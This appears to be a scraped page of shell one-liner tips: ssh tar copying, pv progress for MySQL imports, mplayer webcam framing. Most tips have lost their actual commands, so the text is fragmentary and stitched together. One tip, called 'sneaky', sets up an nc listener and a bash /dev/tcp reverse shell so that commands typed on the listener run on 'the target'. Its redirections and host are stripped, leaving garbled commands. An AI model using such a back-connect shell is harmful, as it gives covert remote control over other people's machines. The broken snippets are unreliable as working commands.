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Replace 'csv_file.csv' with your filename.
hypnotizing pendulum
Quick write some notes to a file with cat. Ctrl+C when you have finish.
This command will copy a folder tree (keeping the parent folders) through ssh. It will:
- compress the data
- stream the compressed data through ssh
- decompress the data on the local folder
This command will take no additional space on the host machine (no need to create compressed tar files, transfer it and then delete it on the host).
There is some situations (like mirroring a remote machine) where you simply cant wait for a huge time taking scp command or cant compress the data to a tarball on the host because of file system space limitation, so this command can do the job quite well.
This command performs very well mainly when a lot of data is involved in the process. If you copying a low amount of data, use scp instead (easier to type)
This uses PV to monitor the progress of the MySQL import and displays it though Zenity. You could also do this
pv ~/database.sql | mysql -u root -pPASSWORD -D database_name
and get a display in the CLI that looks like this
2.19MB 0:00:06 [ 160kB/s] [> ] 5% ETA 0:01:40
My Nautalus script using this command is here
http://www.daniweb.com/forums/post1253285.html#post1253285
This is sneaky.
First, start a listening service on your box.
$ nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
$ exec 5/dev/tcp//8080;cat &5 >&5; done
You can send it to the background like this:
$ (exec 5/dev/tcp//8080;cat &5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
When recording screencast some people like to have the image from their webcam, so the can show something, that can't be seen on the desktop. So starting mplayer with these parameters you will have a window with no frames, borders whatsoever, and selecting the window a hitting the "F" key you will bring it in fullscreen. if you want to position the frame somewhere else, you could play with the --geomeptry option where 100%:100% mean bottom right corner. The HEIGHT and WIDTH can't be changed as you like, since the most webcams support specified dimensions, so you would have to play with it to see what is supported